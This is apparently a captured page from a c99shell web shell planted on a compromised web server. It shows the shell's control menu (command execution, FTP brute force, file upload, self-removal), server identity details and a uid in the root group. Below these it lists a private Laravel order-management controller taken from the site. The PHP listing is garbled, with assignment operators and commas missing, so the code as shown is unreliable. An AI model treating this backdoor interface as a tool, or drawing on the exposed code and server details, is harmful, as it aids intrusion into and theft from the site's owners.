!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderRequestController.php (9.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\CustomerWallet;
use 
App\Models\Order;
use 
App\Models\OrderDetails;
use 
App\Models\Transaction;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
OrderRequestController extends Controller
{
    public function 
order(){
      
$orders =  Order::select(['id','status'])->get();
      
$data['pending_orders'] = $orders->where('status','pending')->count();
      
$data['cancelled_orders'] = $orders->where('status','cancelled')->count();
      
$data['processing_orders'] = $orders->where('status','processing')->count();
      
$data['inprogress_orders'] = $orders->where('status','inprogress')->count();
      
$data['completed_orders'] = $orders->where('status','completed')->count();
      
$data['partial_orders'] = $orders->where('status','partial')->count();
        return 
view('admin.order_request.index',$data);
    }
    public function 
getAll(Request $request)
    {
        
$status $request->input('status');
        
$ordersQuery Order::with(['customer''orderdetails''service'])
                            ->
orderBy('created_at''DESC')
                            ->
select(['id''customer_id''status','order_number']);
        if (
$status && $status != 'all') {
            
$ordersQuery->where('status'$status);
        }

        
$orders $ordersQuery->get();
        return 
datatables()->of($orders)
        ->
addColumn('order_number', function ($q) {
            return 
$q->order_number;
        })
            ->
addColumn('name', function ($q) {

                return isset(
$q->customer)?$q->customer->full_name:'';
            })
            ->
addColumn('order_basic_details', function ($q) {
                
$service '';
                foreach (
$q->orderdetails as $detail){

                    
$remains $detail->order_quantity $detail->counter;
                    
$service .= '<div id="accordion">
                                  <div class="card">
                                    <div class="card-header" id="headingOne">
                                      <h5 class="mb-0">
                                        <button class="btn btn-link" data-toggle="collapse" data-target="#collapse'
.$detail->id.'" aria-expanded="true" aria-controls="collapse'.$detail->id.'">
                                          '
.$detail->service->name.' <i class="fas fa-angle-down ml-3"></i>
                                        </button>
                                      </h5>
                                    </div>
                                    <div id="collapse'
.$detail->id.'" class="collapse" aria-labelledby="headingOne" data-parent="#accordion">
                                      <div class="card-body">
                                        <ul>
                                            <li>Link: '
.$detail->link.'</li>
                                            <li>Quantity: '
.$detail->order_quantity.'</li>
                                            <li>Charges: '
.formatNumberWithCurrSymbol($detail->charges).'</li>
                                            <li>Start Counter: '
.$detail->counter.'</li>
                                            <li>Remains: '
.$remains.'</li>
                                        </ul>
                                      </div>
                                    </div>
                                  </div>
                                </div>'
;
                }
                return 
$service;

            })
            ->
addColumn('status', function ($q) {
                if(
$q->status=='pending'){
                    
$status='<span class="badge bg-green">'.ucfirst($q->status).'</span>';
                }elseif (
$q->status=='processing' || $q->status == 'inProgress' || $q->status == 'partial'){
                    
$status='<span class="badge bg-primary">'.ucfirst($q->status).'</span>';
                }elseif (
$q->status=='rejected' || $q->status=='cancelled' || $q->status=='refund'){
                    
$status='<span class="badge bg-danger">'.ucfirst($q->status).'</span>';
                }else{
                    
$status='<span class="badge bg-green">'.ucfirst($q->status).'</span>';
                }
                return 
$status;
            })
            ->
addColumn('action',function($q){
                if (
$q->status == 'pending'){
                    return
'<button data-order="'$q->id .'" class="btn btn-sm btn-info massOrderModal"
                     data-action='
.route('admin.order.request.status',['id'=>$q]).'
                     title="Approved" ><i class="fa fa-check-circle"></i></button>'
.
                        
'<button class="btn btn-sm btn-danger ml-2" data-message="Are you sure you want to rejected this order?"
                                        data-action='
.route('admin.order.request.status',['id'=>$q,'status'=>'rejected']).'
                                        data-input={"_method":"post"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="right" title="Rejected"><i class="fa fa-times-circle"></i></button>' 
;
                }elseif (
$q->status == 'processing' || $q->status == 'inProgress' || $q->status == 'partial'){
                    return
'<button class="btn btn-sm btn-info massOrderModal"
                     data-action='
.route('admin.order.request.status',['id'=>$q]).'
                     data-order="'
$q->id .'" title="Approved" ><i class="fa fa-check-circle"></i></button>';
                } else{
                    return
'<button class="btn btn-sm btn-info" data-message="Are you sure you want to approved this order?"
                                        data-input={"_method":"get"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="right" title="Approved" disabled><i class="fa fa-check-circle"></i></button>'
.
                        
'<button class="btn btn-sm btn-danger ml-2" data-message="Are you sure you want to rejected this order?"
                                        data-input={"_method":"get"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="right" title="Rejected" disabled><i class="fa fa-times-circle"></i></button>' 
;;
                }
            })
            ->
rawColumns(['action','status','order_basic_details'])
            ->
toJson();
    }

    public function 
orderStatusChange(Request $request){
        if (
$request->status == 'rejected') {
            
$request->validate([
                
'id' => 'required|numeric',
                
'status' => 'required|in:processing,inprogress,completed,partial,rejected',
            ]);
        }else{
            
$request->validate([
                
'id' => 'required|numeric',
                
'status' => 'required|in:processing,inprogress,completed,partial,rejected',
                
'order_counter' => 'required|numeric'
            
]);
        }
        
$order Order::where('id',$request->id)->firstOrfail();
        if (
$request->status == 'rejected'){
            
$charges $order->orderdetails->sum('charges');
            
$order->update(['status'=>$request->status]);
            
$wallet CustomerWallet::where('customer_id',$order->customer_id)->firstOrFail();
            
$wallet->update(['amount'=>$wallet->amount $charges]);
            
Transaction::create([
                
'customer_id'=> auth('customer')->user()->id,
                
'amount'=> $charges,
                
'payment_type'=> 'offline',
                
'type'=> 'credit',
                
'payment_status'=> 'paid',
                
'status'=> 'approved',
            ]);

        }else{
            
DB::beginTransaction();
            try {
                
$orderDetails OrderDetails::where('order_id',$order->id)->where('service_id'$request->service_id)->firstOrFail();;
                if (
$orderDetails->order_quantity $request->order_counter+$orderDetails->counter ){
                    return 
redirect()->back()->withErrors(['msg' => trans('admin.order_approved_limit')]);
                }
                if (!isset(
$order->customer) || !isset($order->customer->wallet)){
                    
abort(404);
                }
                
$order->update(['status'=>$request->status]);

                
$orderDetails->update(['counter'=>$orderDetails->counter $request->order_counter]);
                
cache()->forget('pending_order_request');
                
DB::commit();
            } catch (
\Exception $ex) {
                
DB::rollback();
                return 
redirect()->back()->withErrors(['msg' => $ex->getMessage()]);
            }
        }

        return 
back()->with('success''Mass Order status successfully updated');
    }

    public function 
orderService(Request $request){

        
$orderDetails OrderDetails::with(['service'])->where('order_id',$request->id)->get();

        
$order = [];
        foreach (
$orderDetails as $details){
            
$order[] = [
                
'id'=> $details->id,
                
'service_id'=> $details->service_id,
                
'name'=>$details->service->name,
                
'order_quantity'=>$details->order_quantity,
                
'charges'=>$details->charges,
                
'link'=>$details->link,
                
'counter'=>$details->counter,
            ];
        }
        return 
response()->json(['status'=>'success','data'=>$order]);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--